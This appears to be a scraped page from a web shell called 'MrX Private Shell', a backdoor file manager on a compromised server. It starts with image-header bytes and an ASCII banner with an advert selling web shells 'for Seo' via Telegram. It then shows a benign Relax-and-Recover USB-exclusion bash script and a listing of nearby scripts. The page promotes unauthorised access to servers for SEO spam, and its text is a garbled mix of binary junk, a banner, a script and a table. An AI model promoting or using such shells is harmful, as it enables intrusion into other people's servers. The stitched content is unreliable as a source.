����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 310_autoexclude_usb.sh
# Reason: issue #645
# /dev/sdb1 240234164 2996672 225027564 2% /mnt
# is not detected as an USB path which causing rsync to loop until usb output_url is full
# If we find an USB device we will just add it to AUTOEXCLUDE_USB_PATH
for URL in "$OUTPUT_URL" "$BACKUP_URL" ; do
if [[ ! -z "$URL" ]] ; then
local host="$(url_host "$URL")"
local scheme="$(url_scheme "$URL")"
local path="$(url_path "$URL")"
case $scheme in
(usb)
if [[ -z "$USB_DEVICE" ]] ; then
USB_DEVICE="$path"
fi
;;
(*)
continue ;;
esac
else
continue # check next one
fi
# Return a proper short device name using udev
REAL_USB_DEVICE=$(readlink -f $USB_DEVICE)
# when USB device is not a block device no need to dig deeper here (in savelayout part)
[[ ! -b "$REAL_USB_DEVICE" ]] && return
# if we are still here then we found an USB device, e.g. /dev/sdb1
# in savelayout we have not yet mounted the OUTPUT_URL so if we find a mount point it was manually mounted
# and therefore, we should add this mount point to AUTOEXCLUDE_USB_PATH
grep -q "^$REAL_USB_DEVICE " /proc/mounts
if [[ $? -eq 0 ]] ; then
local usb_mntpt="$( grep "^$REAL_USB_DEVICE " /proc/mounts | cut -d" " -f2 | tail -1 )"
if ! IsInArray "$usb_mntpt" "${AUTOEXCLUDE_USB_PATH[@]}" ; then
AUTOEXCLUDE_USB_PATH+=( "$usb_mntpt" )
Log "Auto-excluding USB path $usb_mntpt [device $REAL_USB_DEVICE]"
fi
fi
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 300_list_dependencies.sh | File | 103 B | 0644 |
|
| 310_autoexclude_usb.sh | File | 1.61 KB | 0644 |
|
| 310_include_exclude.sh | File | 2.21 KB | 0644 |
|
| 320_autoexclude.sh | File | 5.05 KB | 0644 |
|
| 330_remove_exclusions.sh | File | 4.08 KB | 0644 |
|
| 335_remove_excluded_multipath_vgs.sh | File | 2.23 KB | 0644 |
|
| 340_generate_mountpoint_device.sh | File | 1.21 KB | 0644 |
|
| 350_save_partitions.sh | File | 1.43 KB | 0644 |
|
| 445_guess_bootloader.sh | File | 6.94 KB | 0644 |
|
| 450_check_bootloader_files.sh | File | 1.96 KB | 0644 |
|
| 450_check_network_files.sh | File | 879 B | 0644 |
|
| 490_check_files_to_patch.sh | File | 2.19 KB | 0644 |
|
| 550_barrel_devicegraph.sh | File | 3.66 KB | 0644 |
|
| 600_snapshot_files.sh | File | 428 B | 0644 |
|
| 950_verify_disklayout_file.sh | File | 16.57 KB | 0644 |
|